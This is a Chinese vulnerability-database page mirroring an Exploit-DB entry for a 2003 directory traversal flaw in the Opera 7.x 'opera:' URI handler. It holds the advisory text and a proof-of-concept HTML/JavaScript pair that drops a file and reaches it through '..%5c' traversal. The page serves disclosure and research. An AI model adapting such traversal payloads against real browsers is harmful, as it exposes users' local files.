Opera Web Browser 7.x – URI Handler Directory Traversal-安全小百科

Opera Web Browser 7.x – URI Handler Directory Traversal

漏洞ID	1054251	漏洞类型
发布时间	2003-11-12	更新时间	2003-11-12
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	Windows	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/23373

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/9021/info

It has been reported that Opera is vulnerable to a directory traversal issue that may allow an attacker to access sensitive information. The problem presents itself due to insufficient sanitization of user-supplied data through the 'Opera:' URI handler. The issue may allow an attacker to traverse outside a directory by using '..%5c' or '..%2f' character sequences.

Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information that may be used to launch further attacks against a vulnerable system.

Opera Web Browser versions 7.22 and prior are reported to be prone to this issue.

---------------START MAIN.HTM----------------


<html>

<head>

<script language="javascript">

var win=open("skin.htm") // The server should return content-type as // "application/x-opera-skin" for "Skin.htm". "Skin.htm" will be dropped in the
"<opera // dir>/profile/skin/" folder.

setTimeout("redir()",2000) //modify according to your situation.


function redir(){

window.location.href="opera:/help/..%5c/profile/skin/skin.htm" //This uses the // directory traversal flaw mentioned in advisory 2 to get the path of the
dropped file. In this // case, it is skin.htm.

}


</script>

</head>


<body>

<h1>This is the main file</h1>

</body>

</html>



---------------END MAIN.HTM----------------


---------------START SKIN.HTM----------------


<body>

<h1> Opera Skinned!!! </h1><p>This is Skin.htm from "<opera dir>/profile/skin/" in localhost.

</body>


---------------END SKIN.HTM----------------

相关推荐: Oracle Web Listener Denial of Service Vulnerability

Oracle Web Listener Denial of Service Vulnerability 漏洞ID 1104000 漏洞类型 Failure to Handle Exceptional Conditions 发布时间 2000-07-05 更新时…

文章版权归作者所有，未经允许请勿转载。

THE END